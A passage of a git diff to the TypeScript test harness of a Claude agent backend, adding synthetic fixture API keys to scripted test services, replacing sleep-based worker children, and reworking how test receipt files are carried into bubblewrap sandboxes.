"message_start", message: { id: "msg_raft", type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 1, output_tokens: 0 } } }]; diff --git a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts index 45b6f9956e..57f7dcecb1 100644 --- a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts @@ -45,12 +45,12 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "message_delta", delta: { stop_reason: index < 2 ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); let sessionId: string | undefined; try { for (let turnIndex = 0; turnIndex < 2; turnIndex++) { const controller = new AbortController(), view = createFixtureWorkerStartupView(brain); - const sandbox = prepareFixtureWorkerSandbox(brain, { home: process.env.HOME, profile: "strict", areas: [] }); + const sandbox = prepareFixtureWorkerSandbox(brain, { home: process.env.HOME, profile: "strict" }); const turn = createClaudeSdkTurn({ backend: { brainPath: brain }, req: { prompt: turnIndex ? "Use the chart" : "Prepare the chart", sessionId, signal: controller.signal, turnId: `odysseus-${turnIndex}`, workerStartupView: view, workerSandbox: sandbox, bridge: { emit() {}, async requestPermission() { return { behavior: "allow" }; } } }, diff --git a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts index d2c4748f04..ac056150a3 100644 --- a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts +++ b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts @@ -49,7 +49,7 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (!call || !body.tools?.some(tool => tool.name === call.name)) return reply(); sent++; return reply(call); } }); - nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); + nativeScriptedService(server.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-offline-only-key"} }); const lockState = { ended: false, pendingReleases: new Map void>() }; let lockHeldDuringWrite = false; const frames: ServerMessage[] = [], lock = createTurnLockBinding({ turn: lockState, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); diff --git a/packages/ui-backend-claude/tests/runtime-probe.test.ts b/packages/ui-backend-claude/tests/runtime-probe.test.ts index 013dacaf43..4b97b34a49 100644 --- a/packages/ui-backend-claude/tests/runtime-probe.test.ts +++ b/packages/ui-backend-claude/tests/runtime-probe.test.ts @@ -7,6 +7,7 @@ * binary which is missing or will not answer refuses. */ +import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { afterEach, describe, expect, test } from "bun:test"; import { chmodSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -95,11 +96,13 @@ describe("probeClaudeRuntime", () => { test("with CLAUDE_CODE_PATH unset it probes what the SDK selects, not a `claude` on PATH", async () => { const dir = tempDir("probe-unset-"); const decoy = fakeBinary(dir, "claude", "0.0.1 (Claude Code)"); - const report = await probeClaudeRuntime({ + const release = nativeScriptedService("http://127.0.0.1:9", {fixtureRoots:[dir]}); + let report: Awaited>; + try { report = await probeClaudeRuntime({ brainPath: dir, env: { ...env(), PATH: `${dir}:${env().PATH}` }, exec: {}, - }); + }); } finally { release(); } expect(invocations(decoy.log)).toEqual([]); expect(report.runtime.command).toContain("@anthropic-ai/claude-agent-sdk-"); diff --git a/packages/ui-backend-claude/tests/worker-event-loop.test.ts b/packages/ui-backend-claude/tests/worker-event-loop.test.ts index eb29090998..c28c6f6cc7 100644 --- a/packages/ui-backend-claude/tests/worker-event-loop.test.ts +++ b/packages/ui-backend-claude/tests/worker-event-loop.test.ts @@ -4,6 +4,7 @@ * loop free (#2790, #2796). A 1 ms timer cannot fire during synchronous work, * so each test counts its ticks while the real worker starts. */ +import { keylessWorkerCommand } from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { expect, spyOn, test } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; @@ -108,7 +109,8 @@ test.skipIf(!native)("a started worker's failed lifecycle stays handled until th const spawner = createWorkerSpawn(f.brain, {}, new AbortController().signal, undefined, sandbox, undefined, undefined, {}, undefined, () => { throw new Error("Odysseus scope freezer refused"); }); try { - const child = spawner.spawn({ command: "/bin/sleep", args: ["30"], env: { CLAUDE_CONFIG_DIR: f.config, HOME: f.home }, + const [command,...args]=keylessWorkerCommand(f.root,"while :; do sleep 1; done"); + const child = spawner.spawn({ command, args, env: { CLAUDE_CONFIG_DIR: f.config, HOME: f.home }, signal: new AbortController().signal } as never); child.on("error", () => {}); child.stdout.resume(); child.stdin.end(); await new Promise(done => child.once("exit", done)); diff --git a/packages/ui-backend-claude/tests/worker.test.ts b/packages/ui-backend-claude/tests/worker.test.ts index 1cdc4e8156..3f09b5abfb 100644 --- a/packages/ui-backend-claude/tests/worker.test.ts +++ b/packages/ui-backend-claude/tests/worker.test.ts @@ -1,3 +1,4 @@ +import { keylessWorkerCommand } from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { expect, test, spyOn } from "bun:test"; import { existsSync, linkSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -137,7 +138,8 @@ test("a throwing worker-start callback kills and drains its real child before re { ledger, limits, turnTempLimits: { allowanceBytes: 1024 * 1024, budgetBytes: 1024 * 1024 } }, undefined, started => { worker = started as import("@schlessera/brain-ui-sdk/internal").LaunchedWorker; throw Error("Odysseus scope freezer refused"); }); try { - const child = spawner.spawn({ command: "/bin/sleep", args: ["30"], + const [command, ...args] = keylessWorkerCommand(root, "while :; do sleep 1; done"); + const child = spawner.spawn({ command, args, env: { CLAUDE_CONFIG_DIR: saved, HOME: home }, signal: new AbortController().signal } as never); child.on("error", error => errors.push(error.message)); child.on("exit", (code, signal) => exits.push([code, signal])); child.stdout.resume(); child.stdin.end(); diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 4946e2d999..f6785df774 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -82,7 +82,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home] }); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-fictional-api-key"} }); const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQuery(query, provider.url.origin), profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", @@ -91,13 +91,13 @@ const turnKeeperRegistrations=new AsyncLocalStoragevoid>>(); const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(brain,options)=>{ const output=await prepareNativeOutput(brain,options),registrations=turnKeeperRegistrations.getStore(); - if(registrations)try{registrations.add(registerNativeFixtureManagedKeeper(output.output.storage,options.startupView));}catch(error){await output.cleanup();throw error;} + if(registrations)try{registrations.add(await registerNativeFixtureManagedKeeper(output.output.storage,options.startupView));}catch(error){await output.cleanup();throw error;} return output; }); const backendProfiles: Array = []; const admissionReads: Array[0]["bridge"]["admissionSafety"]>["read"]>> = []; const observedBackend = { ...backend, async startTurn(request: Parameters[0]) { - nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home] }); + nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-fictional-api-key"} }); backendProfiles.push(request.workerSandbox?.profile); // Observe the real host gate synchronously, returning each original read // unchanged. Native refusals otherwise collapse to a generic HTTP 403. diff --git a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts index 584c368ff7..85ef1f8569 100644 --- a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts @@ -40,7 +40,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home] }); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-fictional-api-key"} }); const backend = createClaudeBackend({ brainPath: brain, profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", diff --git a/packages/ui-server/tests/helpers/test-app.ts b/packages/ui-server/tests/helpers/test-app.ts index c12ddd0db2..0febfcc0a3 100644 --- a/packages/ui-server/tests/helpers/test-app.ts +++ b/packages/ui-server/tests/helpers/test-app.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard"; import { createNativeAppFixture } from "./native-app-fixture.js"; /** * Per-test-suite `createApp()` wiring. App-level suites share one real app, @@ -140,10 +141,13 @@ export async function createTestApp(options: TestAppOptions = {}): Promisenew Response(null,{status:400})}); + const releaseScripted = nativeScriptedService(scripted.url.origin,{fixtureRoots:[brainPath,piAgentDir]}); let app: BrainUiApp; try { app = await createApp(options.appOptions); } catch (error) { + releaseScripted();scripted.stop(true); await native.close(); removeTemporaryState(); restoreEnv(); @@ -164,6 +168,7 @@ export async function createTestApp(options: TestAppOptions = {}): Promise)[Symbol.asyncIterator](); expect(new TextDecoder().decode((await reader.next()).value), "LIVE_MASK_QUALIFIED_AND_STARTED").toBe("ready\n"); // A rebuilt real index is published by rename, sidecars are recreated, diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index 0aad5edbe5..20b315a640 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index 51d4e3628f..67db3ccd9b 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -16,7 +16,7 @@ import { createClaudeBackend, type InferenceProfile } from "../packages/ui-backe import { CLEARED_API_CREDENTIALS } from "../packages/ui-backend-claude/src/subscription"; import { resultText, scriptedModel } from "./measure-claude-runtime"; import { createMeasurementWorkerFixture } from "./measurement-worker-fixture.js"; -import { enterMeasurementRtkView } from "./measurement-rtk-fixture.js"; +import { enterMeasurementRtkView, prepareMeasurementBrainCommands } from "./measurement-rtk-fixture.js"; import { isStaticNativeElf } from "../packages/ui-sdk/src/server/worker-rtk.js"; await enterMeasurementRtkView(); @@ -38,6 +38,9 @@ try { const root = nativeFixtureDirectory("enforcement-probe-"); const cwd = join(root, "cwd"), home = join(root, "home"), bin = join(root, "bin"); for (const dir of [cwd, home, bin]) mkdirSync(dir); + // brainWorkerPath prepends this product PATH entry. Keep the empty + // fixture directory visible so projection preserves that exact PATH. + prepareMeasurementBrainCommands(cwd); const original = join(WORKER_SCRATCH, "original"), rewritten = join(WORKER_SCRATCH, "rewritten"), settingsMarker = join(WORKER_SCRATCH, "settings-hook-ran"); // Real writes stay in the worker's ephemeral scratch. A controlled native // witness reports filesystem observations to the loopback controller, diff --git a/scripts/measure-claude-usage.ts b/scripts/measure-claude-usage.ts index 7df2723b79..fd86878259 100644 --- a/scripts/measure-claude-usage.ts +++ b/scripts/measure-claude-usage.ts @@ -33,7 +33,7 @@ export async function measureClaudeUsage() { return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(model.url.origin); +nativeScriptedService(model.url.origin,{fixtureCredentials:{ANTHROPIC_API_KEY:"sk-ant-api03-probe-only"}}); const cwd = mkdtempSync(join(tmpdir(), "claude-usage-cwd-")); const home = mkdtempSync(join(tmpdir(), "claude-usage-home-")); let sessionId: string | undefined, cliVersion: string | undefined; diff --git a/scripts/measurement-rtk-fixture.ts b/scripts/measurement-rtk-fixture.ts index 8907b7ba1e..8860ca9d63 100644 --- a/scripts/measurement-rtk-fixture.ts +++ b/scripts/measurement-rtk-fixture.ts @@ -10,6 +10,11 @@ import { join, resolve } from "node:path"; const hostedRunner = process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted"; const hostedEnvironment = hostedRunner ? ["--setenv", "GITHUB_ACTIONS", "true", "--setenv", "RUNNER_ENVIRONMENT", "github-hosted"] : []; +/** brainWorkerPath prepends this exact empty fixture input. */ +export function prepareMeasurementBrainCommands(brain:string):string { + const path=join(brain,"node_modules",".bin");mkdirSync(path,{recursive:true});return path; +} + /** Re-enter a disposable system view; never install an oracle on the host. */ export async function enterMeasurementRtkView(): Promise { if (process.argv.includes("--native-rtk-view")) return; diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index e347e87361..1c5261e351 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -1,26 +1,32 @@ /** Test-owned receipt files/descriptors stay separate from protocol stderr. */ -import { closeSync, constants, fstatSync, mkdtempSync, openSync, readFileSync, readSync, rmSync, writeSync } from "node:fs"; +import { closeSync, constants, fstatSync, mkdtempSync, openSync, readFileSync, readSync, realpathSync, statSync, rmSync, writeSync } from "node:fs"; import { tmpdir } from "node:os"; -import { basename, join } from "node:path"; +import { basename, join, resolve } from "node:path"; const KEY="BRAIN_NATIVE_RECEIPT",OWNER=Symbol.for("brain-kit.test.native-receipt-owner"); -interface Sink {fd:number;dev:string;ino:string;ownerPid:number;ownerStart:string;ownerFd:number;report:boolean} +interface Sink {path:string;fd:number;dev:string;ino:string;ownerPid:number;ownerStart:string;ownerFd:number;report:boolean} interface State {sink?:Sink;directory?:string;offset:number;pending:Buffer} function start(pid:number):string{return readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!;} function identity(fd:number){const info=fstatSync(fd,{bigint:true});return {dev:String(info.dev),ino:String(info.ino)};} function same(sink:Sink):boolean{try{const info=identity(sink.fd);return info.dev===sink.dev&&info.ino===sink.ino;}catch{return false;}} +function privateSinkPath(sink:Sink):void { + const info=statSync(sink.path),parent=statSync(join(sink.path,"..")); + if(realpathSync(sink.path)!==sink.path||!info.isFile()||info.nlink!==1||(info.mode&0o777)!==0o600||info.uid!==process.getuid?.()||(parent.mode&0o777)!==0o700||parent.uid!==info.uid||String(info.dev)!==sink.dev||String(info.ino)!==sink.ino)throw Error("Native receipt file is unavailable"); +} function verify(value:string):Sink { const sink=JSON.parse(value) as Sink; if(!Number.isSafeInteger(sink.fd)||sink.fd<0||!Number.isSafeInteger(sink.ownerPid)||!Number.isSafeInteger(sink.ownerFd))throw Error("Native receipt descriptor is unavailable"); if(same(sink))return sink; // Bun's package-script launcher can close inherited extra descriptors. - // Reopen only the still-live ancestor's exact private append-only file. + // Reopen only the still-live ancestor's exact owner-only file. A direct + // file capability survives user namespaces where /proc/PID/fd is denied. let pid=process.pid,ancestor=false; for(let depth=0;pid>1&&depth<64;depth++){ if(pid===sink.ownerPid){ancestor=true;break;} const match=/^PPid:\s+(\d+)/m.exec(readFileSync(`/proc/${pid}/status`,"utf8"));if(!match)break;pid=Number(match[1]); } if(!ancestor||start(sink.ownerPid)!==sink.ownerStart)throw Error("Native receipt owner is unavailable"); - const fd=openSync(`/proc/${sink.ownerPid}/fd/${sink.ownerFd}`,constants.O_WRONLY|constants.O_APPEND); + privateSinkPath(sink); + const fd=openSync(sink.path,constants.O_WRONLY|constants.O_APPEND|constants.O_NOFOLLOW); const reopened={...sink,fd};if(!same(reopened)){closeSync(fd);throw Error("Native receipt descriptor identity changed");} return reopened; } @@ -30,7 +36,7 @@ const state=globals[OWNER]??{sink:inherited?verify(inherited):undefined,offset:0 if(!globals[OWNER])Object.defineProperty(globalThis,OWNER,{value:state,writable:false,configurable:false}); function createSink(report:boolean):{sink:Sink;directory:string;file:string}{ const directory=mkdtempSync(join(tmpdir(),"odysseus-native-receipts-")),file=join(directory,"records"),fd=openSync(file,"ax+",0o600); - return {sink:{fd,...identity(fd),ownerPid:process.pid,ownerStart:start(process.pid),ownerFd:fd,report},directory,file}; + return {sink:{path:file,fd,...identity(fd),ownerPid:process.pid,ownerStart:start(process.pid),ownerFd:fd,report},directory,file}; } function owner():Sink { if(state.sink)return state.sink; @@ -52,6 +58,34 @@ export function nativeReceipt(value:Record):void { const sink=owner();if(!same(sink))throw Error("Native receipt descriptor identity changed"); writeSync(sink.fd,JSON.stringify(value)+"\n");flushNativeReceipts(); } +/** Parse bwrap's option boundary; payloads need not use an explicit --. */ +function nativeReceiptBwrapPlan(argv:readonly string[],file:string):{insertion:number;clearenv:number[]} { + if(argv.length===2&&["--help","--version"].includes(argv[1]!))return {insertion:-1,clearenv:[]}; + const zero=new Set(["--unshare-all","--unshare-user","--unshare-user-try","--unshare-ipc","--unshare-pid","--unshare-net","--unshare-uts","--unshare-cgroup","--unshare-cgroup-try","--disable-userns","--assert-userns-disabled","--clearenv","--new-session","--die-with-parent","--as-pid-1"]); + const one=new Set(["--args","--userns","--userns2","--pidns","--uid","--gid","--hostname","--chdir","--unsetenv","--lock-file","--sync-fd","--remount-ro","--overlay-src","--tmp-overlay","--ro-overlay","--exec-label","--file-label","--proc","--dev","--tmpfs","--mqueue","--dir","--seccomp","--add-seccomp-fd","--block-fd","--userns-block-fd","--info-fd","--json-status-fd","--cap-add","--cap-drop","--perms","--size"]); + const two=new Set(["--setenv","--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try","--bind-fd","--ro-bind-fd","--file","--bind-data","--ro-bind-data","--symlink","--chmod"]); + const mountOne=new Set(["--proc","--dev","--tmpfs","--mqueue","--dir","--tmp-overlay","--ro-overlay"]),mountTwo=new Set(["--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try","--bind-fd","--ro-bind-fd","--file","--bind-data","--ro-bind-data","--symlink"]); + const remounts:Array<{index:number;target:string}>=[],clearenv:number[]=[];let lastCover=-1,at=1; + const covers=(target:string)=>{const root=resolve(target);return file===root||file.startsWith(root==="/"?root:root+"/");}; + while(at=0&&arity===0)throw Error("Native receipt fixture boundary is unavailable"); + const inline=equal<0?[]:[word.slice(equal+1)],remaining=arity-inline.length,values=[...inline,...argv.slice(at+1,at+1+remaining)]; + if(values.length!==arity)throw Error("Native receipt fixture boundary is unavailable"); + const target=mountOne.has(flag)?values[0]:mountTwo.has(flag)?values[1]:flag==="--overlay"?values[2]:undefined; + if(flag==="--clearenv")clearenv.push(at); + if(target&&covers(target))lastCover=at; + if(flag==="--remount-ro"&&covers(values[0]!))remounts.push({index:at,target:values[0]!}); + at+=1+remaining; + } + if(at>=argv.length)throw Error("Native receipt fixture boundary is unavailable"); + // Restore the exact sink after covering mounts, while its parent is writable. + // Later original remounts are left in place; their final policy is unchanged. + return {insertion:remounts.find(mount=>mount.index>lastCover)?.index??at,clearenv}; +} +export function nativeReceiptBwrapInsertion(argv:readonly string[],file:string):number{return nativeReceiptBwrapPlan(argv,file).insertion;} /** Only trusted fixture interpreters inherit this channel, never native/worker payloads. */ export function inheritNativeReceipts(options:Record,argv:readonly string[],defaultStderr:string):{options:Record&{env:Record};argv:string[]} { const sink=options.env?.[KEY]?verify(options.env[KEY]):owner(); @@ -61,10 +95,11 @@ export function inheritNativeReceipts(options:Record,argv:readonly s const fd=stdio.length;stdio.push(sink.fd); const token=JSON.stringify({...sink,fd}),command=[...argv]; if(basename(command[0]??"")==="bwrap"){ - let end=command.indexOf("--"); - for(let at=0;at<(end<0?command.length:end);at++)if(command[at]==="--clearenv"){ - command.splice(at+1,0,"--setenv",KEY,token);if(end>=0)end+=3;at+=3; - } + privateSinkPath(sink); + const plan=nativeReceiptBwrapPlan(command,sink.path),insertion=plan.insertion; + if(insertion>=0)command.splice(insertion,0,"--perms","0700","--dir",join(sink.path,".."),"--bind",sink.path,sink.path); + // Descending positions keep literal argv/env values untouched. + for(const at of plan.clearenv.reverse())command.splice(at+(at>=insertion?7:0)+1,0,"--setenv",KEY,token); } return {options:{...rest,stdio,env:{...(options.env??process.env),[KEY]:token}},argv:command}; } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 0f7dc92e93..8888f10b89 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -2,7 +2,7 @@ import { nativeExecTrace } from "./native-exec-trace"; import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; import { nativeReceipt } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, symlinkSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { Readable } from "node:stream"; import { pipeline } from "node:stream/promises"; import { AsyncLocalStorage } from "node:async_hooks"; @@ -19,10 +19,10 @@ const metadataSpawnSync = Bun.spawnSync.bind(Bun); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const SYSTEM_FILES = ["/etc/ld.so.cache", "/etc/localtime", "/etc/os-release"]; const FORBIDDEN_BIND_ROOTS = new Set(["/", "/run", "/var/run", "/tmp", "/dev", "/dev/shm", "/home", "/var/lib", "/etc", "/var"]); -const WORKER_RUNTIME_ENV = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL", "TERM", "SHELL", "USER", "LOGNAME", "TMPDIR", +export const WORKER_RUNTIME_ENV:ReadonlySet = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL", "TERM", "SHELL", "USER", "LOGNAME", "TMPDIR", "XDG_CONFIG_HOME", "XDG_CACHE_HOME", "XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_RUNTIME_DIR", "BRAIN_ROOT", "BRAIN_WORKER_DATA_ROOT", "BRAIN_WORKER_CONFIG_ROOT", "BRAIN_WORKER_SCRATCH", "BRAIN_WITHHELD_KEYS", "BRAIN_PROVIDER_RELAY_SOCKET", - "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]); + "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "CLAUDE_CODE_USE_BEDROCK", "CLAUDE_CODE_USE_VERTEX", "CLAUDE_CODE_USE_FOUNDRY", "ENABLE_TOOL_SEARCH", "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "DISABLE_AUTOUPDATER", "DISABLE_PROMPT_CACHING"]); const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; @@ -376,10 +376,12 @@ export function nativeSyntheticCredential(key: "ANTHROPIC_API_KEY" | "ANTHROPIC_ /** Retain only public synthetic credentials, including their absent/both cases. */ function syntheticCredentials(env: Record): Record { const result: Record = {}; + for(const key of ["ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN"])if(env[key]==="")result[key]=""; if (env.ANTHROPIC_API_KEY) result.ANTHROPIC_API_KEY = /^sk-ant-api03-([a-z])\1{94}AA$/.test(env.ANTHROPIC_API_KEY) ? env.ANTHROPIC_API_KEY : "offline-fixture"; if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) result.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; if (/^sk-ant-declared-t{60}$/.test(env.ANTHROPIC_AUTH_TOKEN ?? "")) result.ANTHROPIC_AUTH_TOKEN = env.ANTHROPIC_AUTH_TOKEN!; for (const [key, value] of Object.entries(env)) if (value && generatedCredentials.get(value) === key) result[key] = value; + for(const [key,value] of scriptedRoute.getStore()?.fixtureCredentials??[])if(env[key]===value)result[key]=value; return result; } @@ -540,8 +542,38 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c } }; } +/** Exact product systemMounts roles; the test compares these names with production. */ +export const nativeDistributionConfigNames=["ld.so.conf","ld.so.conf.d"] as const; +export const nativeSyntheticSystemNames=["passwd","group","nsswitch.conf","hosts"] as const; +export function nativeDistributionConfigFiles(directory:string):string[]{ + if(realpathSync(directory)!==directory||!lstatSync(directory).isDirectory())throw Error("Distribution configuration directory is not canonical"); + return readdirSync(directory).map(name=>{ + const path=join(directory,name),real=realpathSync(path),info=lstatSync(path); + if(!name.endsWith(".conf")||!within("/etc",real)||!statSync(real).isFile()||(!info.isFile()&&!info.isSymbolicLink()))throw Error("Distribution configuration must contain only regular config files inside etc"); + return path; + }); +} +function nativeSystemConfigMounts(directory:string,workerUid?:number):string[]{ + const uid=process.getuid?.()??0,gid=process.getgid?.()??0,accounts=new Map([[0,"root"]]); + if(uid!==0)accounts.set(uid,"odysseus"); + if(workerUid!==undefined&&!accounts.has(workerUid))accounts.set(workerUid,"odysseus-worker"); + writeFileSync(join(directory,"passwd"),[...accounts].map(([id,name])=>`${name}:x:${id}:${id===0?0:gid}:Odysseus:/tmp/native-account:/bin/sh\n`).join("")); + writeFileSync(join(directory,"group"),`root:x:0:\n${gid===0?"":`odysseus:x:${gid}:\n`}`); + writeFileSync(join(directory,"nsswitch.conf"),"passwd: files\ngroup: files\nhosts: files\n"); + writeFileSync(join(directory,"hosts"),"127.0.0.1 localhost\n::1 localhost\n"); + for(const name of 